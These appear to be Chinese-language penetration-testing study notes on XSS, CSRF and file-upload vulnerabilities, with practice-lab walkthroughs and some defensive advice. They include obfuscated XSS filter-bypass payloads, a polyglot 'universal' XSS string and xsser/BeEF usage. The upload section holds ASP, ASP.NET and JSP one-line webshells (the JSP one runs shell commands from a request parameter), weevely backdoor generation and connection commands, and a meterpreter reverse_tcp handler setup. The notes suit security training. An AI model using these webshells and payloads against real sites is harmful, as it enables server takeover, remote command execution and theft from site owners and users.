#第五类:Script 标签 ipt>alert("XSS") ipt>
一些常用小技巧
在挖掘xss漏洞时,经常会遇到各类过滤手段,比如将<>进行html实体编码,单双引号过滤,空格过滤,关键字过滤等等
1. 编码绕过: url编码绕过 unicode编码绕过 html实体编码绕过:实体编码绕过需要结合 标签使用,否则利用的失败率比较高
2. 换行绕过 使用%0A进行关键字绕过
3. 利用全局变量绕过 Self,window等等 c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};
4. 关键字绕过 Alert被过滤了可以使用下面的进行弹窗
1. 2. 3. Б='',Д=!Б+Б,И=!Д+Б,Ж=Б+{},Щ=Д[Б++],З=Д[Л=Б],Ю=++Л+Б,Ф=Ж[Л+Ю],Д[Ф+=Ж[Б]+(Д.И+Ж)[Б]+И[Ю]+Щ+З+Д[Л]+Ф+Щ+Ж[Б]+З][Ф](И[Б]+И[Л]+Д[Ю]+З+Щ+"(Б)")();
5. 一些奇形怪状的xss的payload ( 使用其他语言编码后的 js ) 6. 7. 8. test
万能 xss payload
关键字:万能 xss payload
终极万能XSS Payload:https://blog.csdn.net/qq_39997096/article/details/114646308
漏洞进阶之 --- XSS万能超级无敌全通杀payload:https://blog.csdn.net/LizePing_/article/details/118581289
在进行跨站脚本攻击的时候(xss),通常会需要我们通过插入的代码场景构造 payload。就比较耗费时间,为了更方便的去测试漏洞,万能 XSS payload 就出现了
什么是万能 XSS payload:
这里对它的定义就是可以适应各种场景进行 js 代码执行的 payload,只需要有这一条 payload 即可(例如闭合html 闭合js)
下面我们来看看 payload长什么样子:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/ \x3e
可以用这个 "万能 xss payload " 试下 在线 xss:https://xss.angelo.org.cn/level1.php?name=XSS
更多功能的 xss 平台
pikachu 的 xss 只有 "cookie、钓鱼、记录键盘" 功能。
可以看到只有3个模块,模块太少,如果需要其他功能,可以搜索其他 xss 后台,
搜索关键字:xss 平台、xss平台
github xss平台:https://github.com/78778443/xssplatform
搭建个人XSS平台:https://blog.csdn.net/weixin_44676102/article/details/122021764
kali 中 xss 平台 --- beef-xss
kali 早期版本中也有一个 " xss 平台 " 叫做 " beff-xss ",新版本需要安装。
1. apt install beef-xss # 安装 beef 2. cd /usr/share/beef-xss # 切换到 beef 目录 3. vim config.yaml # 打开配置文件 4. 按 i 进入插入模式,找到默认 user,password 进行修改,找到 host 修改成本机地址 5. systemctl start beef-xss.service # 开启 beef systemctl stop beef-xss.service # 关闭 beef systemctl restart beef-xss.service # 重启 beef 6. 浏览器打开 http://127.0.0.1:3000/ui/panel 然后输入用户名、密码
BeEF-XSS 管理登录页面。用户名默认为 beef,密码在首次启动 beef-xss 时需要手动设置。( 启动 beef-xss 会自动打开浏览器 )
测试 xss
Hocked Browers
online browers 在线浏览器
offline browers 离线浏览器
Detials
Logs
commands
绿色模块:表示模块适用当前用户,并且执行结果对用户不可见
红色模块:表示模块不适用当前用户,有些红色模块也可以执行
橙色模块:模块可用,但结果对用户可见
灰色模块:模块为在目标浏览器上测试过
BeEF-XSS详细使用教程:https://blog.csdn.net/smli_ng/article/details/106067842
xss 扫描 工具
关键字:xss 扫描 工具
还在往各种输入框里提交 ? 有这功夫不如喝喝茶、划划水? 这时候就需要 XSS 扫描 工具
xsser
github:https://github.com/epsylon/xsser
xsser 是一个自动框架,用于检测、利用和报告基于 Web 的应用程序中的 XSS 漏洞。
用法:
xsser [OPTIONS] [--all |-u |-i |-d (options)|-l ] [-g |-p |- c (OPTIONS)] [URL(s)] [Checker(s)] [Vector(s)] [Anti-anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}
选项: --version 显示版本 -h, --help 显示帮助 -s, --statistics 显示高级统计输出结果 -v, --verbose 详细显示输出结果 --gtk 启动 XSSer GTK 接口 --wizard 启动向导助手
*特殊功能*: 设置 Vector(s) 和 Bypasser(s) 来为嵌入的 XSS 代码构建复杂的脚本。 XST 允许您发现目标是否容易受到 "跨站点跟踪" 的影响 [CAPEC-107] --imx=IMX 使用 XSS 创建图像 (--imx image.png) --fla=FLASH 使用 XSS 创建 Flash 电影 (--fla movie.swf) --xst=XST 跨站点跟踪 (--xst http(s)://host.com)
*选择目标*:( 这些参数至少指定一个 ) --all=TARGET 自动审计整个目标 -u URL, --url=URL 输入要审计的目标URL -i READFILE 从文件中读取目标URL -d DORK 使用查询搜索目标(例如:'news.php?id=') -l 从 "dorks" 列表中搜索 --De=DORK_ENGINE 使用这个搜索引擎(默认:DuckDuckGo) --Da 使用所有搜索引擎进行海量搜索
*选择 HTTP/HTTPS 连接类型*: ( 指定哪些参数用作有效负载。在要注入的位置上将 "XSS" 设置为关键字 ) -g GETDATA 使用 GET 发送有效负载(例如:'/menu.php?id=XSS') -p POSTDATA 使用 POST 发送有效负载(例如:'foo=1&bar=XSS') -c CRAWLING 在目标上抓取的 url 数量:1-99999 --Cw=CRAWLER_WIDTH 爬虫深度:1-5(默认:2) --Cl 仅抓取本地目标 URL(默认值:FALSE)
*配置请求*:( 指定如何连接到目标有效载荷。可以选择多个 ) --head 在开始测试之前发送 HEAD 请求 --cookie=COOKIE 更改您的 HTTP Cookie 标头 --drop-cookie 忽略响应中的 Set-Cookie 标头 --user-agent=AGENT 更改您的 HTTP User-Agent 标头(默认值:SPOOFED) --referer=REFERER 使用另一个 HTTP Referer 标头(默认值:NONE) --xforw 使用随机 IP 值设置 HTTP X-Forwarded-For --xclient 使用随机 IP 值设置您的 HTTP X-Client-IP --headers=HEADERS 额外的 HTTP 标头换行分隔 --auth-type=ATYPE HTTP 身份验证类型(基本、摘要、GSS 或 NTLM) --auth-cred=ACRED HTTP 身份验证凭据(名称:密码) --check-tor 检查 Tor 是否正确使用 --proxy=PROXY 使用代理服务器 (tor: http://localhost:8118) --ignore-proxy 忽略系统默认的HTTP代理 --timeout=TIMEOUT 选择你的超时时间(默认值:30) --retries=RETRIES 连接超时重试(默认值:1) --threads=THREADS 最大并发请求数(默认:5) --delay=DELAY 每个请求之间的延迟秒数(默认值:0) --tcp-nodelay 使用 TCP_NODELAY 选项 --follow-redirects 跟随服务器重定向(默认值:FALSE) --follow-limit=FLI 设置重定向请求的限制(默认值:50)
*Checker(s)*:( 检查目标是否使用过滤器来抵御 XSS 攻击 ) --hash 发送一个哈希来检查目标是否重复内容 --heuristic 使用启发式过滤来发现参数 --discode=DISCODE 在回复时设置代码以丢弃注入 --checkaturl=ALT 检查回复使用: [aka BLIND-XSS] --checkmethod=ALTM 检查回复使用:GET 或 POST(默认:GET) --checkatdata=ALD 检查回复使用: --reverse-check 建立从目标到 XSSer 的反向连接
*Vector(s)*: 指定注入代码。 --payload=SCRIPT 注入你自己的代码 --auto 注入 XSSer 提供的
*选择 payload*: 设置 XSSer 提供的向量列表。 仅在需要时选择 --auto-set=FZZ_NUM 要注入的向量限制(默认值:1293) --auto-info 仅选择带有 INFO 的向量(默认值:FALSE) --auto-random 设置随机排序(默认值:FALSE)
*反 antiXSS 防火墙规则*: 这些选项可用于尝试绕过特定的 WAF/IDS 产品和一些反 XSS 浏览器过滤器。 仅在需要时选择: --Phpids0.6.5 PHPIDS (0.6.5) [全部] --Phpids0.7 PHPIDS (0.7) [全部] --Imperva Imperva Incapsula [全部] --Webknight WebKnight (4.1) [Chrome] --F5bigip F5 大IP [Chrome + FF + Opera] --Barracuda Barracuda WAF [全部] --Modsec Mod-Security [全部] --QuickDefense 快速防御 [Chrome] --Sucuri SucuriWAF [全部] --Firefox Firefox 12 [及以下] --Chrome Chrome 19 和 Firefox 12 [及以下] --Opera Opera 10.5 [及以下] --Iexplorer IExplorer 9 & Firefox 12 [及以下]
*选择 Bypasser(旁路器)*: 用于对向量进行编码并尝试绕过可能的反 XSS 过滤器。 它们可以与其他技术结合使用 --Str 使用方法 String.FromCharCode() --Une 使用 Unescape() 函数 --Mix 混合 String.FromCharCode() 和 Unescape() --Dec 使用十进制编码 --Hex 使用十六进制编码 --Hes 使用带分号的十六进制编码 --Dwo 使用 DWORD 编码 IP 地址 --Doo 使用八进制编码 IP 地址 --Cem=CEM 设置不同的 "字符编码突变"(反转混淆器)(例如:'Mix,Une,Str,Hex')
*特殊技术*: 这些选项可用于使用不同的 XSS 技术和模糊向量注入代码。可以选择多个 --Coo 跨站脚本 Cookie 注入 --Xsa 跨站点代理脚本 --Xsr 跨站引用脚本 --Dcp 数据控制协议注入 --Dom 文档对象模型注入 --Ind HTTP 响应拆分诱导代码
*选择最终注射*: 这些选项可用于指定要在易受攻击的目标上注入的最终代码。 如果您\想 "疯狂地" 利用发现的漏洞,这一点很重要。 只选择一个选项 --Fp=FINALPAYLOAD 利用你自己的代码 --Fr=FINALREMOTE 利用脚本 -remotely-
*特殊最终注射*: 这些选项可用于在易受攻击的目标上执行一些“特殊”注入。 您可以选择多个并将它们与您的最终代码组合(DCP 漏洞利用除外) --Anchor 使用 "Anchor Stealth" 有效载荷(DOM 阴影!) --B64 META 标签中的 Base64 代码编码 (rfc2397) --Onm 使用 onMouseMove() 事件 --Ifr 使用
*报告*: --save 导出到文件 (XSSreport.raw) --xml=FILEXML 导出为 XML (--xml file.xml)
*各种各样的*: --silent 禁止控制台输出结果 --alive=ISALIVE 在检查目标是否处于活动状态之前设置错误限制 --update 检查最新的稳定版本
示例:xsser -u https://xss.angelo.org.cn -g "/level1.php?name=XSS"
也可以图形化:xsser --gtk
XSS 跨站攻击 - (3) xsser:https://www.jianshu.com/p/3665f86730f7
使用示例:
用法举例: ============================== 从URL进行简单XSS注入: xsser -u "http://host.com"
------------------- 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数: xsser -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
------------------- 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat): xsser -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
------------------- URL进行多重注入, 使用自动化负荷和特殊的文字编码( 第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三, 把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程): xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
------------------- 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测: xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
------------------- 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!): xsser --De "duck" -d "search.php?"
------------------- 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!): xsser -c3 --Cw=4 -u "http://host.com"
------------------- 从URL简单注入, 使用POST方式, 并且统计结果: xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
------------------- 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!): xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
------------------- 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!): xsser -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"
------------------- 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端: xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
------------------- 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" , 并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!): xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
------------------- 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传. xsser --Imx "test.png" --payload "!在这儿输入你的恶意代码!"
------------------- 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件. xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
------------------- 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看http://identi.ca (XSS 渗透测试 Vs 僵尸网络联盟) xsser -d "login.php" --De "duck" --publish
* 在线例子: -http://identi.ca/xsserbot01 -http://twitter.com/xsserbot01
------------------- * 使用XSS代码注入创建一个 .swf 文件 xsser --imx "name_of_file"
------------------- 如果目标产生错误的结果,则每次发送一个检测hash。 xsser -u "host.com" --check
------------------- 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用. xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
------------------- Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用. xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
------------------- 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。 xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
强大的XSS扫描工具:XSpear
:https://zhuanlan.zhihu.com/p/101510369
XSStrike
只能运行在 Python3 环境
:https://zhuanlan.zhihu.com/p/340106569
xss-labs 游戏 靶场
讲解 ( 1-10关 )
:https://www.bilibili.com/video/BV1Mr4y1i7s4?p=12
:https://www.bilibili.com/video/BV1jL4y1j7i6?p=13
xss-labs 靶场 地址:https://github.com/do0dl3/xss-labs 在线 靶场:https://xss.angelo.org.cn/level1.php?name=test
xss-labs通关大合集:https://blog.csdn.net/wo41ge/article/details/107459332 XSS(跨站脚本攻击)小结:https://www.cnblogs.com/Ben-john/p/13829678.html XSS 从菜鸟到高手,你可能需要这些干货&技巧:https://www.cxymm.net/article/MachineGunJoe/117520828
1-10 关 payload:
在线 html 编码:https://www.bt.cn/tools/encryhtml.html
s 的 16进制编码为 x73,但是 payload 中完成表示是 s
当前防御 XSS 的几种策略
1、浏览器端主动进行XSS识别
如上述Chrome浏览器会自动识别XSS攻击代码,并进行请求的屏蔽
2、服务器端对于用户输入的内容进行过滤
a) 将重要的 cookie 标记为 http only,这样的话 Javascript 中的 document.cookie 语句就不能获取到 cookie了;
b) 只允许用户输入我们希望的数据,进行数据格式校验,例如年龄就只能输入0-160的数字
c) 对数据进行 html encode 处理,过滤或移除特殊的 Html 标签, 例如:< 替代 <, > 替代 >, " 替代 "
d) 过滤 JavaScript 事件的标签。例如 "οnclick=", "onfocus" 等等。
3、使用较为安全的开发框架
上述代码所使用的 nunjucks 模板中:
展示内容
{{text | safe}}
nunjucks 默认所有值都会在视图内自动转义,以防止 HTML 注入和 XSS 攻击。 但是
| safe
这个语句是允许应用程序在视图中注入 HTML 片段。所以才会被 XSS 攻击
4、web 入口、出口 进行过滤
WAF 全称 Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对 web 请求/响应进行防护。
Web 应用防火墙WAF简介:https://zhuanlan.zhihu.com/p/97396469
WAF 功能介绍(入门扫盲篇):https://www.cnblogs.com/realjimmy/p/12937247.html
2021年十大开源 waf:https://zhuanlan.zhihu.com/p/342756722
总结
XSS 攻击相比于 CSRF 攻击,还是比较容易防范的,只要同时限制用户输入数据的格式和进行数据转义,基本可以杜绝此类攻击
3、CSRF ( 跨站请求伪造 )
原理、定义
视频讲解:https://www.bilibili.com/video/BV1jL4y1j7i6?p=14
CSRF定义: 跨站请求伪造(英语:Cross-site request forgery)是一种对网站的恶意利用,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。 CSRF跨站点请求伪造(Cross—Site Request Forgery) 跟 XSS 攻击一样,存在巨大的危害性。 你可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
CSRF地位: 是一种网络攻击方式,是互联网重大安全隐患之一,NYTimes.com(纽约时报)、Metafilter,YouTube、Gmail和百度HI都受到过此类攻击。
对比XSS: 跟跨网站脚本(XSS)相比,
XSS 利用的是用户对指定网站的信任,需要获取 用户的 cookie,需要把 恶意代码注入到网站
CSRF 利用的是网站对用户网页浏览器的信任。不需要把代码注入网站,只需要调用接口
如下:其中
Web A 为存在CSRF漏洞的网站,
Web B 为攻击者构建的恶意网站,
User C 为Web A网站的合法用户。
如果上面 CSRF 原理看不懂,可以再看这个原理:
先了解第一方和第三方cookie概念
Cookie 是一个域服务器存储在浏览器中的一小段数据块,只能被这个域访问,谁设置则谁访问。
第一方 Cookie :比如,访问 www.a.com 这个网站,这个网站设置了一个Cookie,这个Cookie也只能被 www.a.com 这个域下的网页读取。
第三方 Cookie :比如,访问www.a.com这个网站,网页里有用到www.b.com网站的一张图片,浏览器在www.b.com请求图片的时候,www.b.com设置了一个Cookie,那这个Cookie只能被www.b.com这个域访问,反而不能被www.a.com这个域访问,因为对我们来说,我们实际是在访问www.a.com这个网站被设置了一个www.b.com这个域下的Cookie,所以叫第三方Cookie。
CSRF 原理:
CSRF payload
关键字:CSRF payload
MM在线聊天,黄图
csrf 中的一些小tricks:https://saucer-man.com/information_security/404.html 网络安全渗透测试—[常规漏洞挖掘与利用篇9]—[CSRF漏洞与测试]:https://blog.csdn.net/qq_45555226/article/details/122775569
CSRF 漏洞挖掘
怎么确定一个接口地址有没有 CSRF 漏洞?
网站的 cookie 被第三方利用,然后再调用网站的接口。这种现象是不合理的。如果请求是从自己的网站的前端页面发起的,是正常请求。如果不是从自己的前端页面发起的,则可能是 CSRF,但是又不可能把所有不是从自己前端页面的全屏蔽了( 因为 引流、SEO 也会产生请求) 。
只要一个网站的接口能被第三方调用成功,就有 CSRF,但是并不一定会发生 CSRF 攻击,因为有些网站本来就是公开的,或者被第三方调用的。只要保证 敏感API请求 不被第三方调用即可。
具体怎么操作?
判断是不是 CSRF 主要是看是不是从自己的前端页面发起的 敏感API请求 ,例如:银行的转账请求、修改密码请求等。( 其实只要不是从自己前端页面发送携带 cookie 的请求都是 CSRF。例如:爬虫 ,但是只要不是敏感信息,不是必须要自己的前端页面发起的请求,可以认为不是 CSRF 攻击)
CSRF 自动化工具
半自动化 工具 ( 需要抓包,然后修改请求再发送 )
Burp Suite pro:https://portswigger.net/burp/pro
CSRF tester ( 工具比较老,推荐 Burp Suite pro ) github:
CSRFTester & burpsuite之CSRF测试:https://www.cnblogs.com/forforever/p/12733474.html
【CSRF详解】CSRF原理、利用过程、分类、举例、工具:https://blog.csdn.net/qq_53079406/article/details/123942109
全自动化 工具
Bolt ( ):https://github.com/s0md3v/Bolt
CSRF 的防御
1. 区分是来自自己的前端页面,还是第三方页面。header 里面的 refer 字段
2. 让前端页面和伪造的请求不一样,例如:加上 token
........
Pikachu 靶场 之 CSRF漏洞详解
:https://blog.csdn.net/m0_46467017/article/details/124795334
dvwa 靶场 csrf
DVWA靶场之CSRF(跨站请求伪造)通关:
:https://www.shuzhiduo.com/A/x9J2Xb6Kd6/
:http://wjhsh.net/tonywell-p-14014086.html
4、文件上传漏洞
文件上传漏洞原理:文件上传漏洞是指用户上传一个文件,文件中嵌入 可执行代码 ,而且通过这段代码,可以获得执行服务器命令的能力。上传 "头像、资源、图片、附件、简历" 等,只要是上传东西,都可能文件上传漏洞
发现、利用
发现漏洞的一般流程
1. 找到文件上传位置。 在网页上一个一个点击,如果能看到源码,可以直接搜索 upload 等关键字等。 曲线救国:如果是 Redis 开启持久化 + 未授权的访问漏洞,通过redis写入文件。MySQL 读写 ( sql 注入 ) 等等。使用相关工具自动化扫描目录,发现文件上传漏洞:( https://github.com/almandin/fuxploider )
2. 尝试绕过校验,并上传文件
3. 获得文件位置
4. 使用蚁剑进行连接,管理文件
还可以使用工具自动化发现漏洞。Fuxploider ( https://github.com/almandin/fuxploider ) 是一种开源渗透测试工具,可自动检测和利用文件上传表单缺陷的过程。该工具能够检测允许上传的文件类型,并能够检测哪种技术最适合在所需的Web服务器上上传Web shell或任何恶意文件。
利用漏洞的一些方法:
删除/禁用 JavaScript、修改 MIME、等价扩展名、大小写、htaccess、双写、空格、点、::$DATA、%00截断、0x00截断、图片马、条件竞争 等等。
防 御
扩展名(后缀) 黑白名单
MIME 类型校验(image/gif)
文件内容头校验(GIF89a)
对文件内容进行二次渲染
对上传的文件重命名,不易被猜测
不要暴露上传文件的位置
禁用上传文件的执行权限
服务器配置
文件上传绕过思路
前端验证
浏览器审查元素删除检测函数 上传正常格式文件通过burpsuite抓包修改为filename为脚本
后端验证
基于MIME
上传脚本格式文件,burpsuite 抓包修改文件的content-type 上传正常格式文件,burosuite抓包修改文件的filename为脚本格式
基于后缀
黑名单windows系统
尝试可能未限制但可以执行的其他脚本后缀 大小写绕过 双写绕过 末尾添加.绕过 末尾添加空格绕过 末尾添加::$DATA绕过 截断上传 上传.access文件 竞争条件 上传图片马结合文件包含
黑名单linux系统
尝试可能未限制但可以执行的其他脚本后缀 双写绕过 截断上传 上传.access文件 竞争条件 上传图片马结合文件包含
白名单验证
结合解析漏洞 上传.access文件
基于文件内容
上传图片马
webshell 介绍
github 搜索: webshell
github ( 一句话木马、大马、小马 ):https://github.com/tennc/webshell
一句话木马
代码短,只有一行,场景多,可以单独生成文件,也可以插入到图片中,安全性高隐匿性强,可变性免杀。
示例 演示:
网站根目录下添加 test_muma.php 文件,文件内容如图所示,然后浏览器访问 "http://127.0.0.1/pikachu_master/test_muma.php" 出现空白页,这是正常返回,因为没有内容,只要不出现 404 就是正常。( php 版本5.6.9、 firefox最新版 ( chrome 最新版显示不出来 ) )
相关 payload
payload=system("ver"); payload=system("ipconfig"); payload=system("dir c:");
上面截图中的 test_muma.php 就相当于打入到敌人内部的卧底,通过这个卧底执行命令
小马
体积小,功能少,只有文件上传功能 ,是为一句话木马铺路用的。
使用场景:当一个站点 "没有文件上传功能 ",但是可以放文件进入时,就可以把 "具有文件上传功能的文件" 放进去,通过这个文件上传 一句话木马文件, 从而间接的实现文件上传功能。
大马
体积大,功能全,能够管理数据库,文件管理,对站点进行信息收集,甚至能够提权
从哪找或者怎么编写 大马、小马
可以从 github 上直接搜索 webshell ( https://github.com/search?q=webshell )
还有一些工具可以自动的生成,例如下面的:冰蝎、哥斯拉
网站控制工具
通过 "一句话木马、大马、小马" 控制网站后,可以通过 "网站控制工具" 进行管理
Web shell 与 冰蝎、蚁剑、哥斯拉(新手必看):https://blog.csdn.net/weixin_54161921/article/details/118579926
Web 木马常用工具有三个 ( 蚁剑、哥斯拉、冰蝎 ):
中国菜刀 ( 已经很久没更新,可以忽略 )
weevely ( 命令行,kali 自带 ): :https://github.com/epinna/weevely3 weevely 生成的 php 木马
蚁剑(AntSword) :https://github.com/AntSwordProject/antSword
哥斯拉(Godzilla Shell 管理工具) :https://github.com/BeichenDream/Godzilla
冰蝎(Behinder 3.0) :https://github.com/rebeyond/Behinder
使用示例:weevely
Kali Weevely 工具使用详解 ( php菜刀 ):https://blog.51cto.com/u_15346415/3692421 Weevely ( Linux中的菜刀 ):https://blog.csdn.net/qq_45521281/article/details/106587791
weevely 是一款使用 python 编写的 webshell 工具(集 webshell 生成和连接于一身),可以算作是 linux 下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的,就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具
新建一个远程控制文件( 生成 Shell )。
用法:weevely generate <文件名> 示例:weevely generate 123456 shell.php
// 生成 混淆 shell
用法:weevely generate -obfuscator cleartext1_php <文件名> 示例:weevely generate -obfuscator cleartext1_php 123456 shell.php
新生成的文件格式只能是下面的一种:
*.php:(生成php后门文件)
*.img:(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析)
*.htaccess:(将后门代码插入到.htaccess,该后门需要使用同样需要服务器开启.htaccess。生成的.htaccess里包含了php后门语句,同时使用相关配置使得web服务器对该文件进行php解析)
连接一个 session 会话。( 连接 shell )
备注:使用所设置的密码连接所给的后门 url,连接成功后,会将连接配置信息以 session 文件的形式保存在本地,下次需要再次连接时可直接读取 session 文件进行连接
// 连接一个曾经连接过的 session 会话
用法:weevely session [cmd] 示例:weevey http://xxxx.com/shell.php 123456 [cmd] 参数:为可选参数,如果使用该参数则在控制时只执行一次命令就结束,不建立长久连接( 直接命令执行有助于批量 webshell 处理,批量挂马或者操作等等 )
连接一个远程控制文件
// 连接一个远程的URL开启远程控制,使用远程控制文件密码 password,[cmd]为命令可选
用法:weevely [cmd]
后渗透阶段命令。渗透到对方服务器之后,想相当于开启了一个 shell,除了执行基础的系统命令,还可以输入help,调用 weevely 模块。
信息收集 :system_info //收集系统信息模块,如下 :system_info -info client_ip //查找自己连接IP
文件管理 :file_touch //修改文件时间模块,如下 :file_touch -human-ts '2022-04-20 20:30:21' 文件名
命令执行 :shell_php //执行PHP命令模块,如下 :shell_php system('ipconfig');
会话转移(Kali中很多工具和数据都是互通的)
//在终端1中,生成 meterpreter 会话 :backdoor_meterpreter -payload php/meterpreter/reverse_tcp -Ihost 本机IP -port 端口
//在终端2中,启动 MSF,并设置监听会话,直到会话转移过来 service postgresq start //启动postgresql数据库 msfdb reinit // 初始化msfdb msfdb start // 启动msfdb msfconsole // 启动msf
use exploit multi/handler show paylaods set payload php/meterpreter/reverse_top show options set Ihost 本机IP run
使用 .php 文件远程控制
第一步:使用 weevely 命令生成一个远程控制文件 backdoor.php,该文件使用的密码为字符串 "hello"
查看一下文件的内容
第二步:将该backdoor.php文件通过方法移动到Apache2服务器的根目录/var/www/html/
第三步:通过 weevely 命令进行连接我们的远程控制文件(文件密码为字符串hello)可以看到渗透成功,并且可以执行命令了
连接时附加 cmd 参数,只执行一次命令就结束,不建立长久连接
使用 .img 文件控制 ( 图片马 )
使用.htaccess文件控制
控制之后的命令示例:
:system.info 获取到系统的基本信息
使用示例:中国蚁剑
中国蚁剑(AntSword)安装、使用教程:https://blog.csdn.net/weixin_41924764/article/details/108099952
蚁剑分为两个部分,一个是核心源码,另一个是加载器,
源码:https://github.com/AntSwordProject/antSword/releases
加载器:https://github.com/AntSwordProject/antSword/releases
下载源码和加载器,将源码文件夹放在加载器文件夹中,然后启动exe,点击初始化,选择源码文件夹,显示设置完毕,重启就好了
一句话木马
PHP:
ASP:
<%eval request("chopper")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
JSP:
<%
if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
int a = -1;
byte[] b = new byte[1];
out.print("");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print(" ");
}
%>
使用示例:哥斯拉
首先从 github 下载,下载是一个 jar 文件,直接打开
菜单栏 ---> 管理 ---> 生成
打开文件,可以看到生成的一句话木马
把 godzilla.php 放到网站目录下 ( 我本机 D:\Software\phpstudy_pro\WWW\pikachu_master),现在使用 哥斯拉 连接。
连接后,点击进入,就可以看到上面的功能,如下:
使用示例:冰蝎
下载完成后,进入 server 文件夹中,可以看到已经存在 webshell,不需要自己生成
① Server 文件夹:存放着不同类型的 shell 脚本。不需要再自己生成
② Behinder.jar :冰蝎的运行程序
③ Behinder_v3.:源压缩包
④ data.db :配置文件
⑤ 更新日志.txt :版本更新修复的问题
这里把 server 文件夹中 shell.php 放到网站目录下,使用 冰蝎 进行连接
文件上传漏洞靶场安装、练习
github 地址:https://github.com/c0ny1/upload-labs
安装、通关
upload-labs通关秘籍和安装环境:https://blog.csdn.net/weixin_47543868/article/details/121875701
upload-labs安装及攻略:https://blog.csdn.net/K_ShenH/article/details/122438998
Pass-01 ( 修改前端代码 )
上传文件流程,用户选择文件,通过前端上传,后端接收。所以可在在 前端、后端进行校验。这一关是在前端进行校验。所以可以修改前端代码进行绕过。
方法1:查看源码,发现是使用 js 进行文件校验,所以可以修改前端代码,把 js 代码干掉。
( 使用的 firefox 浏览器,chrome 好像有问题 )
在选择文件 test_muma.php 上传,发现上传成功,
test_muma.php 内容
使用 蚁剑 进行连接
双击,可以看到目录,说明连接成功,且 test_muma.php 工作正常
方法2:
Pass-02 ( bp 拦截请求并修改 )
既然用户可以修改前端代码,所以又在后端都进行了检查。查看提示:
发现是对上传的文件类型进行了 校验,只要不是 image/jpeg、image/png、image/gif 都不通过。这个文件类型是浏览器根据上传的文件类型,在请求头中自动标记的 ( Content Type、Accept ),所以可以通过代理拦截请求,并修改请求头中这个字段的值,然后发送
MIME 用法
